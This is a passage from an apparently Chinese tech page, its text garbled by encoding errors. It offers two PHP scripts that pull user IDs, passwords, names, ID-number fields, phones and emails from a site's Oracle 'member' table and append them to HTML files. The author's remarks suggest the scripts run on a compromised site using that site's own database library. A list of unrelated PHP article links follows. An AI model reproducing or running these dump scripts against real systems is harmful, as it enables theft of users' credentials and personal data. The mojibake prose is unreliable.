一個(gè)php導(dǎo)出oracle庫的php代碼
<?php
$conn=OCILogon("用戶名","密碼","(DESCRIPTION=(ADDRESS=(PROTOCOL =TCP)(HOST=IP)(PORT = 1521))(CONNECT_DATA =(SID=lcx)))");
//$sql="select * from all_tab_columns where table_name='MEMBER'";//Table Structure
$sql="select USER_ID,PASSWORD from MEMBER where IDX < 100"; //sql語句
$stmt = OCIParse($conn, $sql);
OCIExecute($stmt);
$rows = OCIFetchstatement($stmt,$results);
$keys = array_keys($results);
$table = "<table>\n <TR>\n";
foreach($keys as $key)
{
$table .= " <TH>$key</TH>\n";
}
$table .= " </TR>\n";
for($i=0;$i<$rows;$i++)
{
$table .= " <TR>";
foreach($results as $spalte)
{
$data = $spalte[$i];
$table .= " <TD>$data</TD>";
}
$table .=" </TR>";
}
echo $table;
$sStr="/home/lcx.htm";
fputs(fopen($sStr,'a+'),$table);
?>
第二種方法:
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<title>sql check !</title>
<?
include $_SERVER['DOCUMENT_ROOT'] . "/_lib/common.lib.php";
ini_set('max_execution_time', 0);
if(!isset($a) || !isset($b)|| !isset($filename)){exit();}
for($i=$a;$i<$b;$i++)
{
$query = "select IDX,USER_ID,PASSWORD,NAME,SID1,SID2,PHONE,MOBILE,EMAIL,WORKPHONE from member where idx = $i";
$data = sql_fetch($query);
if ($data)
{
for ($ss=0; $ss<=count($data); $ss++)
{
$values .= "<td>".$data[$ss]."</td>";
}
}
fputs(fopen("$filename","a+"),"<table><tr>".$values."</tr></table>\r\n");
unset($values);
}
?>
因?yàn)椴粫?huì)oracle,也是一行一行照抄來的,
數(shù)據(jù)庫連接也沒接觸過,就直接用他自帶的吧,
沒用foreach 循環(huán)數(shù)組,很奇怪,總是輸出2個(gè)重復(fù)的字段值,沒辦法就改用for了
qq:57112848 無名
- PHP處理Oracle的CLOB實(shí)例
- PHP下的Oracle客戶端擴(kuò)展(OCI8)安裝教程
- Linux下PHP連接Oracle數(shù)據(jù)庫
- Win7 64位系統(tǒng)下PHP連接Oracle數(shù)據(jù)庫
- windwos下使用php連接oracle數(shù)據(jù)庫的過程分享
- thinkphp中連接oracle時(shí)封裝方法無法用的解決辦法
- ThinkPHP 連接Oracle數(shù)據(jù)庫的詳細(xì)教程[全]
- 用PHP調(diào)用Oracle存儲(chǔ)過程的方法
- php連接oracle數(shù)據(jù)庫及查詢數(shù)據(jù)的方法
相關(guān)文章
利用PHP將圖片轉(zhuǎn)換成base64編碼的實(shí)現(xiàn)方法
相信大家都知道Base64是網(wǎng)絡(luò)上最常見的用于傳輸8Bit字節(jié)代碼的編碼方式之一,如果對此不清楚的可以查看RFC2045~RFC2049,上面有MIME的詳細(xì)規(guī)范。這篇文章我們分享一個(gè)PHP將圖片轉(zhuǎn)換為base64編碼格式的方法,有需要的朋友們可以參考借鑒。2016-09-09php redis實(shí)現(xiàn)文章發(fā)布系統(tǒng)(用戶投票系統(tǒng))
這篇文章主要為大家詳細(xì)介紹了php redis實(shí)現(xiàn)文章發(fā)布系統(tǒng)以及用戶投票系統(tǒng),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-03-03Laravel 框架基于自帶的用戶系統(tǒng)實(shí)現(xiàn)登錄注冊及錯(cuò)誤處理功能分析
這篇文章主要介紹了Laravel 框架基于自帶的用戶系統(tǒng)實(shí)現(xiàn)登錄注冊及錯(cuò)誤處理功能,結(jié)合實(shí)例形式分析了laravel框架自帶用戶系統(tǒng)的基本使用方法及操作注意事項(xiàng),需要的朋友可以參考下2020-04-04Laravel6.0.4中將添加計(jì)劃任務(wù)事件的方法步驟
此版本包括計(jì)劃任務(wù)事件、新的 JSON 斷言方法和所有最新更改。這篇文章主要介紹了Laravel6.0.4中將添加計(jì)劃任務(wù)事件的方法步驟,感興趣的可以了解一下2019-10-10PHP中使用GD庫繪制折線圖 折線統(tǒng)計(jì)圖的繪制方法
本文通過代碼給大家介紹php中使用GD庫繪制折線圖,涉及到php中GD庫的一些簡單使用,本文介紹的非常詳細(xì),感興趣的朋友一起學(xué)習(xí)吧2015-11-11使用composer命令加載vendor中的第三方類庫 的方法
這篇文章主要介紹了使用composer命令加載vendor中的第三方類庫的方法,本文圖文并茂給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-07-07